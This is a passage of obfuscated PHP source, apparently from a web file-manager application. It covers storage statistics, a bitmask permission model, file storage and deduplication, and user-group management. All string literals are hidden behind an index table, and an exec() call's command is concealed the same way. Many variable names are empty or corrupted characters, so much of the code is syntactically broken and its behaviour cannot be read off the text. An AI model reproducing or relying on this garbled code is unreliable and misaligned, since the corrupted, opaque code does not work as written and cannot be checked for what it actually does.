strtotime(date($Ӳ[1792])); if ($򳸗 < $¾) { $򳸗 = $¾; } $׉ = array($Ӳ[1812] => array($Ӳ[1034], $򳸗)); $˜왾 = (int) Model($Ӳ[563])->where($׉)->count($Ӳ[1661]); if (!$˜왾) { $˜왾 = 1; } $׉ = array($Ӳ[1812] => array($Ӳ[1034], $¾)); $ = Model($Ӳ[563])->where($׉)->count($Ӳ[1661]); return array($Ӳ[778] => (int) $߽, $Ӳ[1813] => (int) ($߽ - $Ͼ), $Ӳ[1814] => (int) $Ͼ, $Ӳ[1815] => (int) $, $Ӳ[1816] => $˜왾); } private function optionFile() { $Ь =& $_SERVER[̧]; $Ƥ = $this->sourceSize(); $ׄ = $Ƥ[$Ь[76]]; $ = $Ƥ[$Ь[1785]]; $ߑَ = Model($Ь[845])->where(array($Ь[448] => 0))->count($Ь[440]); $ = array($Ь[448] => 0, $Ь[201] => array($Ь[1034], strtotime(date($Ь[1792])))); $Ӥ = Model($Ь[845])->where($)->sum($Ь[76]); $ = Model($Ь[845])->where($)->count($Ь[440]); return array($Ь[783] => $ׄ, $Ь[1785] => $, $Ь[1817] => $ׄ - $, $Ь[1818] => (int) $Ӥ, $Ь[785] => (int) $ߑَ, $Ь[1819] => (int) $); } private function optionAccess() { $ʺ =& $_SERVER[̧]; return array($ʺ[778] => $this->typeLogCnt(), $ʺ[107] => $this->typeLogCnt($ʺ[107]), $ʺ[490] => $this->typeLogCnt($ʺ[490]), $ʺ[1820] => $this->typeLogCnt($ʺ[1820]), $ʺ[1821] => $this->typeLogCnt($ʺ[1821]), $ʺ[628] => $this->typeLogCnt($ʺ[12], $ʺ[1796])); } private function typeLogCnt($ = '', $ = "\x69\144") { $썵 =& $_SERVER[̧]; $ = array($썵[107] => array($썵[1822], $썵[1823]), $썵[490] => array($썵[1824], $썵[1825]), $썵[1820] => array($썵[1826], $썵[1827], $썵[1828]), $썵[1821] => array($썵[1829], $썵[1830]), $썵[1831] => array($썵[1832], $썵[1833], $썵[1834])); $ = strtotime(date($썵[1792])); $ޤ = array($썵[201] => array($썵[1034], $)); if ($) { $ޤ[$썵[33]] = array($썵[7], $[$]); } $ = Model($썵[1795])->where($ޤ)->count($); return (int) $; } private function optionServer() { $ =& $_SERVER[̧]; $œʲ = $this->diskDriver(); $׋Ҩ = KodIO::defaultDriver(); $ۮ = array($[837] => $׋Ҩ[$[437]]); $ = Model($[509])->where($ۮ)->sum($[76]); $ = explode($[53], $_SERVER[$[143]]); $ = $[0]; $ƛ = $GLOBALS[$[6]][$[21]]; $ = $ƛ[$[996]]; if ($ == $[984]) { $ = explode($[1302], $ƛ[$[995]]); $ = $[0]; } if ($ == $[932] || $ == $[824]) { $ɘ = Model()->db()->query($[1835]); $ljԉ = $ɘ[0] && isset($ɘ[0][$[1558]]) ? $ɘ[0][$[1558]] : 0; $ = $[1836] . ($ljԉ ? $[8] . $ljԉ : $[12]); } $ = $GLOBALS[$[6]][$[378]][$[847]]; return array($[1837] => $œʲ ? $œʲ[$[1838]] : 0, $[1839] => $œʲ ? $œʲ[$[1840]] : 0, $[1841] => (int) $׋Ҩ[$[1838]] * 1024 * 1024 * 1024, $[1842] => (int) $, $[1843] => ucfirst($), $[1844] => $[1845] . PHP_VERSION, $[1846] => phpBuild64() ? 64 : 32, $[777] => str_replace($[1150], $[1012], $), $[378] => ucfirst($), $[32] => $_SERVER[$[1847]]); } private function diskDriver() { $̦ =& $_SERVER[̧]; $ = $̦[8]; $ޛ = $GLOBALS[$̦[6]][$̦[1319]] == $̦[1320]; if ($ޛ) { $ = $̦[1848]; if (function_exists($̦[1849])) { exec($̦[1850], $煍); $ = $煍[1] . $̦[8]; } } if (!file_exists($)) { return; } $ = @disk_total_space($); $ = $ - @disk_free_space($); return array($̦[1838] => $, $̦[1840] => $); } public function fileChart($ޯ) { $傓 =& $_SERVER[̧]; if (isset($ޯ[$傓[1661]])) { return Model($傓[845])->userFileTypeProfile($ޯ[$傓[1661]]); } if (isset($ޯ[$傓[1851]])) { return Model($傓[845])->groupFileTypeProfile($ޯ[$傓[1851]]); } $⿥ = $this->sourceSize(); $ɣΗ = array($傓[470] => 0, $傓[449] => 1); $ = Model($傓[845])->where($ɣΗ)->sum($傓[76]); $ɣΗ[$傓[449]] = 2; $ = Model($傓[845])->where($ɣΗ)->sum($傓[76]); return array($傓[783] => $⿥[$傓[76]], $傓[1785] => $⿥[$傓[1785]], $傓[1786] => (int) $, $傓[1787] => (int) $); } private function sourceSize() { $҈ =& $_SERVER[̧]; $ = Model($҈[845])->where(array($҈[448] => 0))->sum($҈[76]); $ = Model($҈[509])->sum($҈[76]); if ($ > $) { $ = $; } return array($҈[76] => (int) $, $҈[1785] => (int) $); } } class AuthModel extends ModelBaseLight { const AUTH_SHOW = 1; const AUTH_VIEW = 2; const AUTH_DOWNLOAD = 4; const AUTH_UPLOAD = 8; const AUTH_EDIT = 16; const AUTH_REMOVE = 32; const AUTH_SHARE = 64; const AUTH_COMMENT = 128; const AUTH_EVENT = 256; const AUTH_ROOT = 33554432; public static function authAll() { return self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT | self::AUTH_ROOT; } public static function authDefault() { $ =& $_SERVER[̧]; $Ө = array(array($[458] => LNG($[1852]), $[1853] => $[1854], $[1855] => 1, $[1856] => 1, $[1857] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT), array($[458] => LNG($[1858]), $[1853] => $[1859], $[1855] => 2, $[1856] => 1, $[1857] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_COMMENT | self::AUTH_EVENT), array($[458] => LNG($[1860]), $[1853] => $[1861], $[1855] => 3, $[1856] => 1, $[1857] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_COMMENT | self::AUTH_EVENT), array($[458] => LNG($[1862]), $[1853] => $[1863], $[1855] => 4, $[1856] => 1, $[1857] => self::AUTH_SHOW | self::AUTH_VIEW), array($[458] => LNG($[1864]), $[1853] => $[1865], $[1855] => 5, $[1856] => 1, $[1857] => self::AUTH_SHOW | self::AUTH_UPLOAD), array($[458] => LNG($[1866]), $[1853] => $[1867], $[1855] => 6, $[1856] => 1, $[1857] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT | self::AUTH_ROOT), array($[458] => LNG($[1868]), $[1853] => $[1869], $[1855] => 7, $[1856] => 1, $[1857] => 0)); return $Ө; } public static function authCheck($, $ڙ㎹) { $ =& $_SERVER[̧]; $ = intval($); if ($GLOBALS[$[532]] && $GLOBALS[$[6]][$[1870]]) { return !0; } if ($ <= 0) { return !1; } if (($ & self::AUTH_ROOT) == self::AUTH_ROOT) { return !0; } return !!($ & $ڙ㎹); } public static function authCheckShow($鲝) { return self::authCheck($鲝, self::AUTH_SHOW); } public static function authCheckView($) { return self::authCheck($, self::AUTH_VIEW); } public static function authCheckDownload($ځ) { return self::authCheck($ځ, self::AUTH_DOWNLOAD); } public static function authCheckUpload($ͷ) { return self::authCheck($ͷ, self::AUTH_UPLOAD); } public static function authCheckEdit($ۓ) { return self::authCheck($ۓ, self::AUTH_EDIT); } public static function authCheckRemove($Â֔) { return self::authCheck($Â֔, self::AUTH_REMOVE); } public static function authCheckShare($择) { return self::authCheck($择, self::AUTH_SHARE); } public static function authCheckComment($Ɂ) { return self::authCheck($Ɂ, self::AUTH_COMMENT); } public static function authCheckEvent($̇دޔ) { return self::authCheck($̇دޔ, self::AUTH_EVENT); } public static function authCheckRoot($) { return self::authCheck($, self::AUTH_ROOT); } public static function authCheckAction($邪հ, $ǿұ) { $ا =& $_SERVER[̧]; $֧˲ = array($ا[1871] => self::AUTH_VIEW, $ا[1214] => self::AUTH_DOWNLOAD, $ا[107] => self::AUTH_UPLOAD, $ا[1821] => self::AUTH_EDIT, $ا[1820] => self::AUTH_REMOVE, $ا[1831] => self::AUTH_SHARE, $ا[383] => self::AUTH_COMMENT, $ا[1649] => self::AUTH_EVENT, $ا[1872] => self::AUTH_ROOT); if (!isset($֧˲[$ǿұ])) { return; } $ = $֧˲[$ǿұ]; $邪հ = intval($邪հ); if ($邪հ <= 0) { return !1; } if (($邪հ & self::AUTH_ROOT) == self::AUTH_ROOT) { return !0; } return !!($邪հ & $); } public static function authDisable($г, $ҩ酺) { if (intval($г) <= 0) { return 0; } return intval($г) & ~$ҩ酺; } public $optionType = "\123\x79\x73\164\145\x6d\56\163\157\x75\x72\143\x65\101\165\x74\x68\114\151\x73\164"; public $field = array("\x6e\141\155\x65", "\x61\165\164\150", "\154\x61\142\145\x6c", "\x64\151\163\160\x6c\x61\171", "\163\x79\x73\x74\x65\155", "\163\x6f\x72\164"); public function initData() { $ = $this->authDefault(); foreach ($ as $ʙԈ) { $this->add($ʙԈ); } } public function findAuth($Ʌә, $ָ) { $Ԫ =& $_SERVER[̧]; $ = parent::listData(); foreach ($ as $ꏟ) { $ = intval($ꏟ[$Ԫ[451]]); if ($ <= 0 || $ꏟ[$Ԫ[1873]] == 0) { continue; } if (($ & $Ʌә) != $Ʌә) { continue; } if (($ & $ָ) != 0) { continue; } return $ꏟ[$Ԫ[437]]; } return !1; } public function findAuthReadOnly() { $愫 = self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD; $Ճ = self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE; return $this->findAuth($愫, $Ճ); } public function findAuthNotRead() { return $this->findAuth(0, self::AUTH_SHOW); } public function findAuthMinDefault() { $ =& $_SERVER[̧]; $ّ = parent::listData(); $ڭ = !1; foreach ($ّ as $) { if ($[$[451]] <= 0 || $[$[1873]] == $[198]) { continue; } if (!$ڭ) { $ڭ = $; continue; } if ($ڭ[$[451]] > $[$[451]]) { $ڭ = $; } } return $ڭ ? $ڭ[$[437]] : $[12]; } public function listData($ = false, $ݽ = "\163\x6f\x72\164", $ߴ = false) { return parent::listData($, $ݽ, $ߴ); } public function update($ǵ, $) { $Ć섥 =& $_SERVER[̧]; $ = parent::listData($ǵ); $鿻٩ = $this->findByName($[$Ć섥[32]]); if (!$ || $鿻٩ && $鿻٩[$Ć섥[437]] != $[$Ć섥[437]]) { return !1; } $this->filterAuth($[$Ć섥[451]]); return parent::update($ǵ, $); } public function remove($) { $ۆ = parent::listData($); if (!$ۆ || $ۆ[$_SERVER[̧][1307]]) { return !1; } return parent::remove($); } public function add($ = array()) { $ =& $_SERVER[̧]; if ($this->findByName($[$[32]])) { return !1; } $·ѵ = array($[32] => $[12], $[451] => 1, $[1874] => $[1861], $[1873] => 1, $[1307] => 0, $[1875] => 0); $ = array_merge($·ѵ, $); $[$[1875]] = $this->getSort(); $this->filterAuth($[$[451]]); return parent::insert($); } private function getSort() { $‡ =& $_SERVER[̧]; $ = parent::listData(); $޾ = array_to_keyvalue($, $‡[12], $‡[1875]); return empty($޾) ? 0 : max($޾) + 1; } private function filterAuth(&$) { if (!$) { return; } $ = array(self::AUTH_SHOW, self::AUTH_VIEW, self::AUTH_DOWNLOAD, self::AUTH_UPLOAD, self::AUTH_EDIT, self::AUTH_REMOVE, self::AUTH_SHARE, self::AUTH_COMMENT, self::AUTH_EVENT, self::AUTH_ROOT); $ = array(); foreach ($ as $癜) { if ($ & $癜) { $[] = $癜; } } if (in_array(self::AUTH_ROOT, $)) { $ = array_sum($); return; } $ = array(self::AUTH_DOWNLOAD => array(self::AUTH_VIEW), self::AUTH_EDIT => array(self::AUTH_VIEW), self::AUTH_REMOVE => array(self::AUTH_EDIT), self::AUTH_SHARE => array(self::AUTH_VIEW, self::AUTH_DOWNLOAD, self::AUTH_UPLOAD, self::AUTH_EDIT)); foreach ($ as $癜) { if (isset($[$癜])) { $ = array_merge($, $[$癜]); } } $[] = self::AUTH_SHOW; $ = array_sum(array_unique($)); } public function sort($, $) { return parent::update($, $); } } goto a; Ddž: class FileModel extends ModelBase { protected $tableName = "\x69\x6f\137\x66\151\154\145"; protected $tableMeta = array("\164\x61\x62\154\x65\x4e\141\x6d\145" => "\x69\157\x5f\146\x69\154\x65\137\155\145\164\141", "\155\x65\164\x61\x46\x69\145\154\144" => "\x66\x69\x6c\x65\111\x44"); public function fileInfo($捽) { $龻 =& $_SERVER[̧]; static $–ӗ = array(); if (!isset($–ӗ[$捽])) { $Ǩ = $龻[1900]; $߯ = Model($龻[509])->field($Ǩ)->where(array($龻[507] => $捽))->find(); $–ӗ[$捽] = $߯; } return $–ӗ[$捽]; } public function addFileByContent($ = '', $ǣ = '') { $ =& $_SERVER[̧]; $ = TEMP_PATH . $[1901]; if (!is_dir($)) { mk_dir($); } $߻ = $ . $[1902] . rand_string(16); file_put_contents($߻, $); $涿 = $this->addFile($߻, $ǣ, !0); if (file_exists($߻)) { @unlink($߻); } return $涿; } public function createFileName($ᕥ, $ = false, $ = false) { $߭ =& $_SERVER[̧]; $ = IO::init($߭[8]); $ݯ = $this->makeFilePath($ᕥ, $, $, $); $ = $->pathFather($ݯ); static $ܐ = false; $ѵ = $߭[1903] . md5($); if (!$ܐ && !Cache::get($ѵ)) { $ܐ = !0; $嘅 = IO::mkdir($); if (!IO::exist($嘅 . $߭[817])) { IO::mkfile($嘅 . $߭[817]); } Cache::set($ѵ, 1, 3600 * 2); } return $ݯ; } public function makeFilePath($֧ƒ, $, $̋ = false, $ɴ = false) { $ůξ =& $_SERVER[̧]; $ = Model($ůξ[790])->get($ůξ[1904]); $솓 = KodIO::defaultIO() . date($ůξ[1905]); $ҟ = $솓 . rand_string(5) . short_id(100); $֧ƒ = str_replace($ůξ[8], $ůξ[11], KodIO::clear($֧ƒ)); $§ = $->ext($֧ƒ); if (!$֧ƒ) { $ = $ůξ[1906]; } switch ($) { case $ůξ[1907]: $ҟ = $ҟ . $ůξ[10] . $->ext($֧ƒ); if ($§ == $ůξ[1844]) { $ҟ .= $ůξ[1226]; } break; case $ůξ[1908]: $ = Model($ůξ[790])->get($ůξ[791]); $ = substr(md5($ůξ[792] . $ . date($ůξ[768])), 0, 8); $ۛ = KodIO::defaultDriver(); $솓 = $ůξ[1257] . $ۛ[$ůξ[437]] . $ůξ[447] . date($ůξ[1909]) . $ . $ůξ[8]; if ($§ == $ůξ[1844]) { $֧ƒ .= $ůξ[1226]; } $ = $ůξ[1910] . $솓 . $֧ƒ; CacheLock::lock($); $ҟ = $솓 . $֧ƒ; if (IO::exist($솓 . $֧ƒ)) { $ = substr($֧ƒ, 0, strlen($֧ƒ) - strlen($§)); $ = $ɴ ? substr($ɴ, 0, 5) : ($̋ ? substr($̋, 0, 5) : rand_string(5)); $ҟ = $솓 . $ . $ . $ůξ[10] . $§; } if (IO::isTypeObject($ҟ) && !IO::isUploadServer($ҟ)) { if (IO::exist($ҟ)) { return $ҟ; } $ױ = IO::setContent($ҟ, $ůξ[12]); if (!$ױ) { show_json($ůξ[1911], !1); } } CacheLock::unlock($); break; case $ůξ[1906]: break; default: break; } return $ҟ; } public function addFileByRemote($ӝ, $É, $ = array()) { $ =& $_SERVER[̧]; if (!IO::exist($ӝ)) { return !1; } $ƛ = $[$[176]] ? $[$[176]] : $[12]; $쏞 = IO::hashMd5($ӝ, $ƛ); $ = KodIO::defaultDriver(); $ގ = array($[583] => IO::size($ӝ), $[1912] => 1, $[458] => $É, $[828] => $[$[437]], $[459] => $ӝ, $[1913] => $[$[177]] ? $[$[177]] : IO::hashSimple($ӝ), $[1914] => $쏞 ? $쏞 : $ƛ); if ($΀ = $this->addFileCheckExist($ގ[$[177]], $ގ[$[176]], $ގ[$[76]])) { return $΀; } return $this->addFileData($ގ); } private function addFileData($ɇ) { $ =& $_SERVER[̧]; if (!$ɇ) { return !1; } $ɇ[$[76]] = intval($ɇ[$[76]]); if (!$ɇ[$[76]] && strlen($ɇ[$[177]]) > 32) { $ɇ[$[76]] = intval(substr($ɇ[$[177]], 32)); } $Ƥ = $this->add($ɇ); return $this->find($Ƥ); } public function addFile($јƏ, $, $ = false) { $ꔙ =& $_SERVER[̧]; $ = IO::hashSimple($јƏ); $ѵ = IO::size($јƏ); $ = $ѵ <= 1024 * 1024 * 10 ? IO::hashMd5($јƏ) : $ꔙ[12]; $Ա = $ꔙ[1915] . $; CacheLock::lock($Ա); if ($ && $) { $ = $this->addFileCheckExist($, $, $ѵ); if ($) { CacheLock::unlock($Ա); return $; } } $쏭 = $this->addFileMake($јƏ, $ѵ, $, $, $, $); $ǁ = $this->addFileData($쏭); CacheLock::unlock($Ա); if (!$ && $ǁ) { $this->fileMd5Check($ǁ); } return $ǁ; } private function fileMd5Check($긴) { $ʿ =& $_SERVER[̧]; $ = array($긴[$ʿ[506]], $긴[$ʿ[84]]); $ = $ʿ[1916] . $긴[$ʿ[84]]; $ = $ʿ[1917] . $긴[$ʿ[506]]; $ = TaskQueue::add($ʿ[1918], $, $, $); if (!$) { $this->fileMd5Set($긴[$ʿ[506]], $긴[$ʿ[84]]); } else { TaskQueue::addSubmit(); } } public function fileMd5Set($, $) { $ =& $_SERVER[̧]; $ = $this->find($); if (!$ || $[$[176]]) { return; } $ǔ = IO::hashMd5($); if (!$ǔ) { return $[12]; } $this->where(array($[506] => $))->save(array($[176] => $ǔ)); } public function addFileMake($Ĩ, $ɲ, $ʘ, $ŰDZ, $м, $챗) { $ӳ =& $_SERVER[̧]; $򩍜 = $this->createFileName($м, $ʘ, $ŰDZ); $鰕 = get_path_father($򩍜); $ǫ = get_path_this($򩍜); if ($챗) { $ǐ = IO::move($Ĩ, $鰕, !1, $ǫ); } else { $ǐ = IO::copy($Ĩ, $鰕, !1, $ǫ); } if (!$ǐ) { return !1; } $ = KodIO::defaultDriver(); $ϕ = array($ӳ[583] => $ɲ, $ӳ[1912] => 1, $ӳ[458] => $м, $ӳ[828] => $[$ӳ[437]], $ӳ[459] => $򩍜, $ӳ[1913] => $ʘ, $ӳ[1914] => $ŰDZ); return $ϕ; } public function addFileCheckExist($, $, $Γ) { $Ӕ =& $_SERVER[̧]; $σ = $this->findByHash($, $); if (!$σ) { return !1; } $얚 = array($Ӕ[1912] => intval($σ[$Ӕ[1919]]) + 1, $Ӕ[583] => $Γ); $this->where(array($Ӕ[507] => $σ[$Ӕ[506]]))->save($얚); return $σ; } public function remove($ὧ) { $this->linkCountChange($ὧ, !1); $this->clearEmpty(); return !0; } public function linkAdd($ؽƆĩ) { $this->linkCountChange($ؽƆĩ, !0); } public function linkCountChange($ګ, $蓂) { $ =& $_SERVER[̧]; if (!$ګ) { return; } if (!is_array($ګ)) { $ګ = array($ګ); } $诮 = array(); foreach ($ګ as $ԽԪ) { $ = $ԽԪ . $[12]; if (!$诮[$]) { $诮[$] = 0; } $诮[$]++; } $Ҟ = array(); foreach ($诮 as $ԽԪ => $) { $ = $ . $[12]; if (!$Ҟ[$]) { $Ҟ[$] = array(); } $Ҟ[$][] = $ԽԪ; } foreach ($Ҟ as $ => $ļ) { if (!$ļ) { continue; } $ = $蓂 ? $ : -intval($); $Ҩ͋ = array($[506] => array($[7], $ļ)); if ($ < 0) { $Ҩ͋[$[1919]] = array($[1035], abs($)); } $this->where($Ҩ͋)->setAdd($[1919], $); } } public function findByHash($, $ = false) { $ =& $_SERVER[̧]; if (!$ && !$) { return !1; } $֜ = array($[1913] => $); if ($) { $֜ = array($[1914] => $); } return $this->order($[1920])->where($֜)->find(); } public function clearEmpty($ = 0) { $ =& $_SERVER[̧]; $̜ǎ = time() - 3600 * 24 * $; $ = $[1921] . $̜ǎ; $ = $this->where($)->select(); if (!$) { return; } $ȗ = new Task($[1922], $[12], count($)); foreach ($ as $ߏ) { $ȗ->update(1); $this->resetFile($ߏ); } $ȗ->end(); } public function resetFile($Ī) { $֍ =& $_SERVER[̧]; $ = array($֍[507] => $Ī[$֍[506]]); $ = Model($֍[1353])->where($)->count(); $㐟nj = Model($֍[1923])->where($)->count(); $ = intval($) + intval($㐟nj); if ($ == 0) { IO::remove($Ī[$֍[84]]); Model($֍[1924])->delete($Ī[$֍[506]]); $this->where($)->delete(); $this->metaSet($Ī[$֍[506]], null, null); return; } if ($Ī[$֍[1919]] != $) { $this->where($)->save(array($֍[1912] => $)); } } public function storageInfo($۽؃ = false) { $ =& $_SERVER[̧]; $▧ = $this->count() + 0.0; $ = 0; $ = 1; $ = 0; $ρ = 5000; for ($񤂅 = 0; $񤂅 < $▧; $񤂅 = $񤂅 + $ρ) { $ = $this->limit($񤂅, $񤂅 + $ρ)->select(); foreach ($ as $ؕ) { $ += $ؕ[$[76]] * $ؕ[$[1919]]; $ += $ؕ[$[76]] * ($ؕ[$[1919]] - 1); $ += $ؕ[$[1919]]; } } $Ӕ = array($[1925] => $, $[1926] => $, $[1927] => $ / $, $[80] => $▧, $[1928] => $); return $Ӕ; } } class GroupModel extends ModelBase { protected $tableName = "\x67\x72\x6f\165\x70"; protected $tableMeta = array("\x74\x61\142\154\x65\116\141\x6d\145" => "\x67\162\157\x75\160\137\x6d\145\164\x61", "\155\145\164\x61\x46\x69\145\x6c\144" => "\147\x72\x6f\x75\160\x49\104"); protected function cacheFunctionAlias($֌) { $ =& $_SERVER[̧]; return array($[1929] => array($֌[0], $[1930]), $[1931] => array($֌[0], $[1932])); } protected function getInfo($, $¶ = false) { $Կž = $this->getInfoSimple($); if (!$Կž) { return !1; } if ($¶) { return $this->_listDataApplyItem($Կž); } return $this->cacheFunctionGet($_SERVER[̧][1933], $); } protected function getInfoSimple($ý, $ӽį = false) { $À梣 =& $_SERVER[̧]; if ($ӽį) { $ = array($À梣[1851] => intval($ý)); $ҷƄ = $this->where($)->find(); return is_array($ҷƄ) ? $ҷƄ : array(); } return $this->cacheFunctionGet($À梣[1934], $ý); } protected function groupAdd($濞) { $ =& $_SERVER[̧]; if (!$濞[$[470]] && isset($濞[$[1851]]) && $濞[$[1851]] == 1) { if ($ɪ = $this->getInfoSimple($濞[$[1851]], !0)) { return $濞[$[1851]]; } } else { $ɪ = $this->getInfoSimple($濞[$[470]]); if (!$ɪ) { return !1; } } $ڲ = $[559]; if ($ɪ[$[549]]) { $ڲ = $ɪ[$[549]] . $ɪ[$[1851]] . $[50]; } $ = array($[458] => $this->groupNameAuto($濞[$[470]], $濞[$[32]]), $[439] => $濞[$[470]], $[618] => $ڲ, $[1935] => $濞[$[1838]], $[1936] => 0, $[1855] => 0); if (isset($濞[$[1875]])) { $[$[1875]] = $濞[$[1875]]; } else { $ = $this->max($[1875]); if (!$) { $ = 0; } $[$[1875]] = $ + 1; } if (!empty($濞[$[1851]])) { $[$[1851]] = $濞[$[1851]]; } $ = $this->add($); $this->setNamePinyin($, $[$[32]]); if (isset($濞[$[1937]])) { $this->metaSet($, array($[1937] => $濞[$[1937]], $[1938] => $濞[$[1938]])); unset($濞[$[1937]]); unset($濞[$[1938]]); } Model($[1353])->groupRootAdd($); $this->_clearCache($濞[$[470]]); return $; } protected function groupEdit($˵, $) { $ψ =& $_SERVER[̧]; $ҽ = $this->getInfoSimple($˵); if (!$ҽ) { return !1; } if (!empty($[$ψ[470]])) { $ = $this->getInfoSimple($[$ψ[470]]); if (!$) { return !1; } if ($ҽ[$ψ[1851]] == $[$ψ[1851]]) { return !1; } if ($[$ψ[470]] != $ҽ[$ψ[470]]) { if ($[$ψ[549]] !== $ҽ[$ψ[549]] && strpos($[$ψ[549]], $ҽ[$ψ[549]] . $ҽ[$ψ[1851]] . $ψ[50]) === 0) { return !1; } $[$ψ[618]] = $[$ψ[549]] . $[$ψ[470]] . $ψ[50]; $this->_changeChildLevel($ҽ, $); $this->_clearCache($[$ψ[1851]]); $this->_clearCache($ҽ[$ψ[470]]); } } if (isset($[$ψ[32]])) { $this->setNamePinyin($˵, $[$ψ[32]]); } if (isset($[$ψ[1937]])) { $this->metaSet($˵, array($ψ[1937] => $[$ψ[1937]], $ψ[1938] => $[$ψ[1938]])); unset($[$ψ[1937]]); unset($[$ψ[1938]]); } $this->_clearChildrenCache($ҽ); return $this->where(array($ψ[1939] => $˵))->save($); } private function _clearChildrenCache($Į) { $˺ =& $_SERVER[̧]; $ր = array($˺[618] => array($˺[578], $Į[$˺[549]] . $Į[$˺[1851]] . $˺[579])); $Ԉ = $this->field($˺[1851])->where($ր)->select(); foreach ($Ԉ as $ͻߒ) { $this->_clearCache($ͻߒ[$˺[1851]]); } } private function _clearCache($ޘ) { $ =& $_SERVER[̧]; $this->cacheFunctionClear($[1933], $ޘ); $this->cacheFunctionClear($[1934], $ޘ); } private function _changeChildLevel($͉˽, $, $ = false) { $˖ =& $_SERVER[̧]; $꣛ߓ = $͉˽[$˖[549]] . $͉˽[$˖[1851]] . $˖[50]; $ = $[$˖[549]] . $[$˖[1851]] . $˖[50] . $͉˽[$˖[1851]] . $˖[50]; if ($) { $ = $[$˖[549]] . $[$˖[1851]] . $˖[50]; } $ĸϚ = array($˖[618] => array($˖[578], $͉˽[$˖[549]] . $͉˽[$˖[1851]] . $˖[579])); $³ = array($˖[618] => array($˖[627], "\x72\145\160\154\x61\143\x65\x28\160\x61\x72\145\x6e\164\114\x65\166\145\x6c\x2c\x27{$꣛ߓ}\x27\x2c\x27{$}\x27\x29")); $this->_clearChildrenCache($͉˽); $this->where($ĸϚ)->data($³)->save(); } public function setNamePinyin($, $ƭ = false) { $ =& $_SERVER[̧]; if (!$ƭ) { $ҵ = $this->getInfoSimple($); $ƭ = $ҵ[$[32]]; } if (!Input::check($ƭ, $[621])) { $this->metaSet($, $[503], null); $this->metaSet($, $[502], null); return; } $ = array($[503] => str_replace($[53], $[12], Pinyin::get($ƭ)), $[502] => Pinyin::get($ƭ, $[622])); $this->metaSet($, $); } protected function groupStatus($ǔ, $ȵ) { $ꥒ =& $_SERVER[̧]; $ʨ = $this->getInfoSimple($ǔ); if (!$ʨ) { return !1; } if ($ȵ == $ꥒ[88]) { $ޥ = $this->parentLevelArray($ʨ[$ꥒ[549]]); } else { $ = array($ꥒ[618] => array($ꥒ[578], $ʨ[$ꥒ[549]] . $ʨ[$ꥒ[1851]] . $ꥒ[579])); $ޥ = $this->where($)->field($ꥒ[1851])->select(); $ޥ = array_to_keyvalue($ޥ, $ꥒ[12], $ꥒ[1851]); } $ޥ[] = $ʨ[$ꥒ[1851]]; $Ԇ = array(); foreach ($ޥ as $ǔ) { $Ԇ[] = array($ꥒ[1851] => $ǔ, $ꥒ[94] => $ꥒ[770], $ꥒ[403] => $ȵ); $this->_clearCache($ǔ); } return Model($ꥒ[1940])->addAll($Ԇ, array(), !0); } protected function groupRemove($ڐ, $͐ = false) { $Ĝ =& $_SERVER[̧]; $¸ = array($Ĝ[1851] => $ڐ); $ = $this->where($¸)->find(); if (!$ || $[$Ĝ[470]] == 0) { return !1; } if (!$͐) { $ز = $this->getInfoSimple($[$Ĝ[470]]); $this->_changeChildLevel($, $ز, !0); $this->where(array($Ĝ[470] => $ڐ))->save(array($Ĝ[470] => $[$Ĝ[470]])); $this->_clearCache($ز[$Ĝ[1851]]); } Model($Ĝ[1940])->where($¸)->delete(); Model($Ĝ[1941])->where($¸)->delete(); Model($Ĝ[845])->groupRootRemove($ڐ); $this->_clearCache($[$Ĝ[470]]); return $this->where($¸)->delete(); } protected function groupSort($֝ÿ) { $ =& $_SERVER[̧]; $ = array(); foreach ($֝ÿ as $ => $) { $[] = array($[1851], $, $[1875], $ + 1); } $this->saveAll($); } public function listData() { $掀̃ = $this->_makeOrder()->selectPage(50); $this->_listDataApply($掀̃[$_SERVER[̧][398]]); return $掀̃; } private function _makeOrder($ʔ = '') { $ =& $_SERVER[̧]; $ = array($[1851], $[32], $[1840], $[201]); $Ў = array($[488] => $[489], $[490] => $[491]); $˞ = Input::get($[495], $[7], $[1855], $); $􀜳ڃ = Input::get($[496], $[7], $[1942], array($[1942], $[490])); $􀜳ڃ = $Ў[$􀜳ڃ]; $ʔ = $ʔ . "{$˞}\40{$􀜳ڃ}\54\40\x67\162\x6f\165\160\111\x44\40\x61\x73\143"; return $this->order($ʔ); } public function listChild($ԑ) { $ˑ =& $_SERVER[̧]; $ = $this->where(array($ˑ[470] => $ԑ))->_makeOrder()->selectPage(200); $this->_listDataApply($[$ˑ[398]]); return $; } public function listChildIds($Ѥ) { $쫍 =& $_SERVER[̧]; if (is_string($)) { $Ѥ = explode($쫍[50], $Ѥ); } $ա = $this->where(array($쫍[1851] => array($쫍[7], $Ѥ)))->field($쫍[1943])->select(); if (!$ա) { return !1; } $ю = array(); foreach ($ա as $) { $ю[] = "\x73\x65\154\145\x63\x74\x20\147\x72\157\165\160\x49\104\x20\x66\x72\157\x6d\x20\140\x67\x72\157\x75\x70\x60\x20\167\x68\145\x72\x65\x20\x70\141\162\x65\156\164\114\145\x76\x65\x6c\x20\154\151\153\x65\40\x27{$[$쫍[549]]}{$[$쫍[1851]]}\x2c\45\x27"; } $ю = implode($쫍[1944], $ю); $ա = $this->query($ю); if (!$ա) { return array(); } $Ѥ = array_to_keyvalue($ա, $쫍[12], $쫍[1851]); return array_unique($Ѥ); } public function listByID($ƻ) { $֊ =& $_SERVER[̧]; if (!$ƻ) { return array(); } $ = array($֊[1851] => array($֊[7], $ƻ)); $ۺ = $this->where($)->select(); $ۺ = array_sort_keep($ۺ, $֊[1851], $ƻ); $this->_listDataApply($ۺ); return $ۺ; } public function 